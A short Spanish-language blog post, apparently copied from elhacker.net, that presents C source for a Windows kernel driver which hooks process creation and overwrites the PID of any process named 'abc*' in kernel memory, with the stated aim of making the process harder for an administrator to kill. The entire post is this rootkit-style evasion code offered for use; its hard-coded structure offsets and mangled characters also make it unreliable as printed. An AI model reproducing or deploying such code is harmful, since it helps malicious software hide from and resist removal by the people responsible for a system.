Código para falsificar el PID de cualquier proceso que comience con abc* y de esa forma hacer mas difícil para un administrador terminar dicha aplicación.
NTSTATUS PsLookupProcessByProcessId(LONG ProcessId,LONG *Process);
void FakePid(HANDLE ParentID,HANDLE ProcessID,BOOLEAN C)
{
LONG Proc;
PCHAR N;
PsLookupProcessByProcessId((LONG)ProcessID,&Proc);
if (C)
{
N=(PCHAR)Proc+0×174;
if (N[0]==‘a’ && N[1]==‘b’ && N[2]==‘c’)
{
*(LONG*)(Proc+0×84)=12345;
}
}
return;
}
void Salir(PDRIVER_OBJECT DriverObject)
{
PsSetCreateProcessNotifyRoutine(&FakePid,TRUE);
return;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING rp)
{
DriverObject->DriverUnload=Salir;
PsSetCreateProcessNotifyRoutine(&FakePid,FALSE);
return STATUS_SUCCESS;
}
Codigo tomado de elhacker.net
Comentarios
No hay comentarios para “Falsificar PID de un proceso C++”
Deja un comentario